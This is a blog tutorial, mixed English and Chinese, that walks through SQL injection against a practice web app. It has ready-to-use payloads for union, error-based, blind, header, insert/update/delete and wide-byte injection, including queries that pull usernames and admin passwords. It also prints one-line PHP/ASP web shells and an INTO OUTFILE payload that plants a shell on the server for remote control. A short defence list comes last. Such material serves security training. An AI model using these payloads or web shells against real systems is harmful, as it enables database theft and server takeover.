Web security SQL injection vulnerability test. (can prevent malicious users from exploiting the vulnerability)

Web Security SQL Injection Vulnerability Test

SQL injection means that some malicious users insert SQL statements into the request content during the process of submitting query requests . At the same time, the program itself is too confident in the content entered by the user, and does not perform any filtering on the SQL statements inserted by the user. Statements are directly executed by the server , leading to risks such as leakage, tampering, or even deletion of the original information of the database.


Table of contents:

Ideas for SQL injection testing:

Common types of SQL injection points:

Common test statements:

SQL Injection Vulnerability Test:

Digital injection (POST parameter transfer):

Character injection (GET parameter):

Search injection:

Type XX injection:

Information acquisition based on union joint query:

Information acquisition based on function error reporting:

Based on insert / update injection (account || password):

delete injection (message board):

Http Header injection (http header):

Based on boolean blind injection (true/false):

Time-based blind injection (time):

Using SQL injection to remotely control the server:

Wide byte injection:

Defense against SQL injection:


Disclaimer:

It is strictly forbidden to use the tools and techniques mentioned in this article to conduct illegal attacks, otherwise the consequences will be at your own risk, and the uploader will not bear any responsibility.


Ideas for SQL injection testing:

The main thing is how to close the statement in front of the database. Then go to trick the background to execute the query statement we need.


Common types of SQL injection points:

数字型:user_id=$id

字符型:user_id='$id'

搜索型:text LIKE '%{$_GET['SEARCH']}%'"

Common test statements:

' and 1=1 #    //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
' and 1=2 #    //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
" and 1=1 #    //单引号是闭合前面的数据(写闭合数据),因为 1=1 是真则返回是正常页面.
" and 1=2 #    //单引号是闭合前面的数据(写闭合数据),因为 1=2 是假则返回是错误页面.
' or 1=1 #     //返回所以信息.
" or 1=1 #     //返回所以信息.
'              //查看有没有报错.
"              //查看有没有报错.
以上测试说明:可能存在注入点.

SQL Injection Vulnerability Test:

Digital injection (POST parameter transfer):

$id=$_POST['id']            //模拟后台传入的参数思想
select  字段1,字段2  from  表名  where id =$id
(注意:有时候是 ” 双引号,则单引号换为双引号)

Step 1: Enter the page where there may be SQL injection, click to enter 1 or 2...to see if there is any return page information, etc.


Step 2: Open the Burp Suite tool to capture the packet, and then send it to the "retransmitter" 


Step 3: Fill in or 1=1 after passing the parameter, and send it to see if there is any information returned from this table.


Character injection (GET parameter):

$uname=$_GET['username']           //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username='$uname';

Step 1: Enter the page where SQL injection may exist, and enter a parameter for the normal return page and a parameter for the error return page. (For example: the parameter for the normal return page: kobe, the parameter for the error return page: 1)


Step 2: Fill in a character at the back of the page and follow the Mysql statement (close the previous statement first), (then use # to comment out the latter) : aaa ' or 1=1#'

语句解析:
(1)前面的 ' 单引号是闭合 Mysql数据库 的单引号.
(2)在拼写 Mysql数据库 语句时后面也要有一个 ' 单引号.
(3)想方法把后面的 ' 单引号给注释掉,在 Mysql数据库 中是使用 # 或 -- 注释. 
(注释 # 或 --后面的语句.)
(注意:有时候是 ” 双引号,则单引号换为双引号)
$uname=$_GET['username']            //模拟数据库后面的运行是这样的
select 字段1,字段2 from 表名 where username='kobe' or 1=1#';


Search injection:

select * from 表名 where 字符(username) like '%k%';
语句解析:
(1)like 是对表进行匹配性查询,匹配 % 中间含有的值,在 字符(username) 中所以含有 % 中间
的值(k)都会返回出来.

Step 1: Enter the page where SQL injection may exist, and enter this normal query.


Step 2: Enter in the query box (close the previous statement first), (then use # to comment out the latter): xxx%' or 1=1 # 

select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
//模拟数据库后面的运行是这样的
select * from 表名 where 字段(username) like '%xxx%' or 1=1 #%';
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xxx%' )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)


Type XX injection:

$uname=$_GET['username']           //模拟后台传入的参数思想
select 字段1,字段2 from 表名 where username=('$uname');
select 字段1,字段2 from 表名 where username=('xx') or 1=1 #');
语句解析:
(1)' 单引号前的数据是闭合 Mysql数据库 中的语句.( xx') )
(2)or 1=1 是查找这个表中所以的数据.
(3)# 或 -- 是 Mysql数据库 注释掉后面的语句.
(注意:有时候是 ” 双引号,则单引号换为双引号)

Step 1: Enter the page where SQL injection may exist, close the previous statement first, and enter: xx') or 1=1 #


Information acquisition based on union joint query:

union 联合查询:可以通过联合查询来查询指定的数据.
用法举例:
select username,password from user where id=1 union select 字段1,字段2 from 表名 
(联合查询的字段 数 需要和主查询一致!)
思路:对查询的结果使用 order by 按照指定的列进行排序,如果指定的列不存在,数据库会报错。
通过报错判断查询结果的列数,从而确定主查询的字段数。

order by x        //对查询的结果进行排序,按照第X列进行排序,默认数字0-9,字母a-z
Select version();        //取的数据库版本
Select database();       //取得当前的数据库
Select user();           //取得当前登录的用户

Step 1: Enter the page where SQL injection may exist, close the previous statement first, and then use order by to test the number of fields. ( If the specified column does not exist, the database will report an error, and the number of columns in the query result can be judged by the error report. So as to determine the number of fields in the main query. ) (use # to comment out the following)

aa' order by 3 #        //报错的
aa' order by 2 #        //没有报错的


Step 2: If there are already several paragraphs in the field, close the previous statement, and then use union select field 1, field 2... from table name

aa' union select database(),user() #
database()        //取得当前的数据库
user()            //取得当前登录的用户


Information acquisition based on function error reporting:

技巧思路:
在 MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的息.
select/insert/update/delete都可以使用报错来获取信息.
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
基于报错的信息获取---三个常用的用来报错的函数:
updatexml()         //函数是MYSQL对 XML文档 数据进行 查询和修改 的XPATH函数.
extractvalue()      //函数也是MYSQL对 XML文档 数据进行 查询 的XPATH函数。
floor()             // MYSQL 中用来 取整 的函数.
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值.
语法:UPDATEXML (xml_document, XPathstring, new_value)
第一个参数:xml_document,表中的字段名
第二个参数:XPathstring (Xpath格式的字符串),定位哪个位置
第三个参数:new_value,String格式,替换查找到的符合条件的
限制:Xpath定位必须是有效的,否则则会发生错误.

Step 1: Enter the page where there may be SQL injection, enter a random data, and check if there is any error message returned. (An error is reported to meet our conditions.)


Step 2: Use the error-based: updatexml() function (mainly to replace the second parameter, and replace it with the function we want to query data.)

kobe' and updatexml(1,version(),0) #

对传入的数据进行处理:
kobe' and updatexml(1,concat(0x7e,version()),0) #     //取的数据库版本
kobe' and updatexml(1,concat(0x7e,database()),0) #    //取得当前的数据库
kobe' and updatexml(1,concat(0x7e,user()),0) #        //取得当前登录的用户

0x7e 是 ~
concat()函数:传入的两个参数组合起来,然后再打印出来.

使用limit一次一次进行获取表名:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #   

// table_schema='数据库名'
// limit 0,1    只改 0 的那个数字( 0 代表第一个数据库名的名称, 1 代表第二个数据库名的名称,....)

获取到表名后,再获取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #

// table_name='表名'
// limit 0,1    只改 0 的那个数字( 0 代表第一个表名的名称, 1 代表第二个表名的名称,....)

获取到列名后,再获取数据:
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) #
//可以获取 用户名. 

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) #
//可以获取 用户的密码.


Based on insert / update injection (account || password):

模拟后台代码执行:(正常执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx',11111,2,3,4,5)

模拟后台代码执行:(注入时的执行)
insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,version()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,user()),0) or'',11111,2,3,4,5)

insert into member(username,pw,sex,phonenum,email,address) values('xxx' or updatexml(1,concat(0x7e,database()),0) or'',11111,2,3,4,5)

Step 1: Enter the page where there may be SQL injection, enter a random data, and check if there is any error.

Step 2: Enter the command to test.

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的数据库版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得当前登录的用户

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得当前的数据库  


delete injection (message board):

后台执行的代码:
delete from message where id={$_GET['id']}

Step 1: Enter the page where SQL injection may exist, and enter any data.


Step 2: Open Burp Suite to intercept and capture the data just now, and then send it to the "retransmitter", find the data we entered and modify it to .

1 or updatexml(1,concat(0x7e,database()),0)      //取的数据库版本

1 or updatexml(1,concat(0x7e,user()),0)         //取得当前登录的用户

1 or updatexml(1,concat(0x7e,database()),0)     //取得当前的数据库

Step 3: Convert the data we inserted into URL encoding. (Encoding: Right click of the mouse ---> conversion option --> URL --> URL encoding of special characters)


Http Header injection (http header):

原理及概括:
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

Step 1: Enter the page where SQL injection may exist and log in.


Step 2: Open Burp Suite and send the data you just browsed to the "Retransmitter" for viewing. (Use User-Agent: for testing, delete the following one, enter a: ' (single quotation mark) to see if there is any return report error)


Step 3: Enter the statement we constructed. (The information you need.)

xxx' or updatexml(1,concat(0x7e,version()),0) or'     //取的数据库版本

xxx' or updatexml(1,concat(0x7e,user()),0) or'        //取得当前登录的用户

xxx' or updatexml(1,concat(0x7e,database()),0) or'    //取得当前的数据库 


Step 4: Open Burp Suite and send the data you just browsed to the "retransmitter" for viewing. (Use Cookie: for testing, add a: ' (single quotation mark) after the user name to see if there is any return error.)


Step 5: Enter the statement we constructed. (The information you need.)

admin' and updatexml(1,concat(0x7e,version()),0) #     //取的数据库版本

admin' and updatexml(1,concat(0x7e,user()),0) #        //取得当前登录的用户

admin' and updatexml(1,concat(0x7e,database()),0) #    //取得当前的数据库 


Based on boolean blind injection (true/false):

什么是盲注以及常见的盲注类型:
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based boolean和based time两种类型

基于boolean的盲注主要表现症状:
(1)没有报错信息
(2)不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
(3)在正确的输入下,输入and 1=1 / and 1=2发现可以判断.

Step 1: Enter the page where SQL injection may exist, and enter the statement we constructed. (Whether normal and error are returned.) If there is both normal and error, there is injection.

kobe' and 1=1 #        //正常返回页面(真)
kobe' and 1=2 #        //错误返回页面(假)


Step 2: We already know that there is an injection point here. (So do you report some data we want for the test.) (If it is troublesome to manually inject and retrieve information, it is recommended to use tools)

kobe' and ascii(substr(database(),1,1))>113 #

ascii 是转换为 ASCLL 编码
substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
>113 是转换为 ASCLL 编码大于113,则正常返回页面,如果小于 113 ,则错误返回页面.


Time-based blind injection (time):

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!

但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!

常用的Teat Payload:
kobe' and sleep(5)#

看看输入:kobe 和输入kobe ' and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞

Step 1: Enter the page where SQL injection may exist, and enter the statement we constructed. (Press F12 --> View the network.)

kobe' and sleep(10) #

sleep 是暂停时间. 10 是秒


Step 2: We already know that there is an injection point here. (So do you report some data we want for the test.) (Press F12 --> View the network.)

kobe' and if(substr(database(),1,1)='p',sleep(10),null) #

substr 是取字符,中间的 1 是取第一个字符.
database() 是取数据库名称
if 判断数据库名称第一个字符是不是 p ,如果是时间延长十秒,如果不是不延长


Using SQL injection to remotely control the server:

一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大.
PHP: <?php @eval($_POST['bgxg']);?>
ASP: <%eval request("bgxg")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.ltem["bgxg"],"unsafe");%>
通过SQL漏洞·写入恶意代码:
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv

Step 1: Enter the page where SQL injection may exist, and enter the statement we constructed.

kobe' union select "<?php @eval($_GET['bgxg'])?>,2 into outfile "写入到服务器的目录/1.php" #

//outfile 是将前面的字段(一句话木马)结果输入到后面的目录中.


Step 2: Take a look at this Trojan horse  ? bgxg=phpinfo();     If it can return, it will be successfully written, and then use the tool to connect.


Wide byte injection:

宽字节注入原理:
宽字节注入使用了转义的函数,对输入'进行了转义\'
但是可以利用反斜杠编码为%5c,然后再用%df构成(連)字绕过对 ' 的转义.
(设置编码时设置为了gbk编码)

Step 1: Enter the page where SQL injection may exist, and enter the statement we constructed.

kobe%df’ or 1=1#


Step 2: Open Burp Suite and send the data just browsed to the "retransmitter" for viewing. (Re-enter the data just now.)


Defense against SQL injection :

(1) The server's database permissions should be minimized as much as possible.

(2) As much as possible, special characters entering the database should be escaped or encoded.

(3) Use special SQL injection detection tools to detect as much as possible.

(4) Try to avoid the website from printing out SQL error messages, such as type errors, field mismatches, etc.

(5) As much as possible, when querying statements, do not directly splice user input variables into SQL statements. (You can use the parameterized query interface provided by the database)

      

      

Learning link: Explanation of the basic concepts and principles of sqli_哔哩哔哩_bilibili

Guess you like

Origin blog.csdn.net/weixin_54977781/article/details/130234174